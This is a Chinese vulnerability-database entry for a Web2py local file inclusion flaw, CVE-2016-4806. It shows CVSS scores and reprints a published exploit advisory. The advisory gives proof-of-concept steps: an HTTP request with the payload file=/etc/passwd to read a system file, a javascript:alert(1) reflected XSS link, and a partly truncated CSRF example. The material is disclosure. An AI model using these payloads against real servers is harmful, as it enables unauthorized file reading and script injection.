发布时间 :2017-01-11 11:59:00
修订时间 :2017-01-19 11:29:15

[原文]Web2py versions 2.14.5 and below was affected by Local File Inclusion vulnerability, which allows a malicious intended user to read/access web server sensitive files.


[机译]Google 翻译(企业版):

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: NETWORK [攻击者不需要获取内网访问权或本地访问权]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-200 [信息暴露]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD

- 其它链接及资源

- 漏洞信息 (F137070)

Web2py 2.14.5 CSRF / XSS / Local File Inclusion (PacketStormID:F137070)
2016-05-16 00:00:00
Nahendra Bhati  
exploit,local,vulnerability,xss,file inclusion,csrf

Web2py version 2.14.5 suffers from cross site request forgery, cross site scripting, and local file inclusion vulnerabilities.

Title - Web2py 2.14.5 Multiple Vulnerabilities LFI,XSS,CSRF
# Exploit Title : Web2py 2.14.5 Multiple Vulnerabilities LFI, XSS,CSRF
# Reported Date : 2-April-2016
# Fixed Date : 4-April-2016
# Exploit Author : Narendra Bhati -
# CVE ID : LFI - CVE-2016-4806 , Reflected XSS - CVE-2016-4807 , CSRF - CVE-2016-4808
# Tested On : MAC OS X EI Capitan, Windows 7 64 Bit, Most Linux Platforms.
# Fix/Patching : Update To Web2py. 2.14.6
# Facebook :
# Twitter :
# Detailed POC:
LFI(Local File Inclusion): CVE-2016-4806
POST URI - /admin/default/pack_custom/[applicationmame]
Vulnerable Parameter = file
Exploit - file=/etc/passwd
Authentication Required = Yes(Administrator)
Steps To Reproduction
1) HTTP Request 
POST /admin/default/pack_custom/[applicationname] HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: session_id_welcome=asdadasdasdasdasd; session_id_admin=asdasdasdasdasd
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 3213
2) After sending this request, Application will prompt you with a file to download as an extension of "w2p".
3) Now we have to unpack this downloaded file using.
Command for unpacking w2p file
python downloadfile.w2p
4) This command will create a folder called "unpack", In this folder there will be an another folder of the application of web2py. In this folder you will found the etc folder, Then into this folder you will get the passwd file.
Video POC -
Full Detailed POC -
Reflected XSS(Cross Site Scripting) : CVE-2016-4807
Vulnerable Parameter - source
Exploit -[applicationname]?plugin=math2py&source=javascript:alert(1)
Authentication Required - Yes(Administrator)
Steps To Reproduction
1) Go to this URL -[applicationname]?plugin=math2py&source=javascript:alert(1)
2) The parameter "source" value will get reflected on the page on "Here" button.
3) When you will click on that button "Here" XSS payload will get executed.
Video POC -
Detailed POC -
CSRF(Cross Site Request Forgery): CVE-2016-4808
GET URI -[applicationname]
Exploit -[applicationname]
Authenticated Required - Yes(Administrator)
Steps To Reproduction
1) Suppose we have an application in web2py called "testingapp"
2) An attacker can trick an victim to disable the installed application just By sending this URL to victim -
Video POC -
Detailed POC -